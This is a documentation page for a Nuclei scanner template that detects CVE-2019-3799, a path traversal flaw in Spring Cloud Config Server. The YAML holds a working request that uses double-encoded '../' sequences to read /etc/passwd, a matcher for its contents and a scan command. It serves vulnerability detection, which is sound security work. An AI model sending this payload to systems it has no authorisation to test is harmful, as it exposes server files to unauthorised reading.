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Spring Cloud Config Server - Local File Inclusion

ID: CVE-2019-3799

Severity: medium

Author: madrobot

Tags: cve,cve2019,lfi,vmware

Description

Section titled “Description”

Spring Cloud Config Server versions 2.1.x prior to 2.1.2, 2.0.x prior to 2.0.4, 1.4.x prior to 1.4.6, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files. An attacker can send a request using a specially crafted URL that can lead to a directory traversal attack.

YAML Source

Section titled “YAML Source”
id: CVE-2019-3799


info:
  name: Spring Cloud Config Server - Local File Inclusion
  author: madrobot
  severity: medium
  description: Spring Cloud Config Server versions 2.1.x prior to 2.1.2, 2.0.x prior to 2.0.4, 1.4.x prior to 1.4.6, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files. An attacker can send a request using a specially crafted URL that can lead to a directory traversal attack.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Upgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches.
  reference:
    - https://github.com/mpgn/CVE-2019-3799
    - https://pivotal.io/security/cve-2019-3799
    - https://www.oracle.com/security-alerts/cpuapr2022.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3799
    - https://github.com/0xT11/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-3799
    cwe-id: CWE-22
    epss-score: 0.02947
    epss-percentile: 0.90832
    cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: spring_cloud_config
  tags: cve,cve2019,lfi,vmware


http:
  - method: GET
    path:
      - "{{BaseURL}}/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f5b385410d6bba6602c79bfc4ae9f426595fb69d5f4e047dd71cf22a88063e2702210083c509165600bf92cab7b0c4cb695e89584a9788f60999cf52aae83cd9e0baef:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-3799.yaml"

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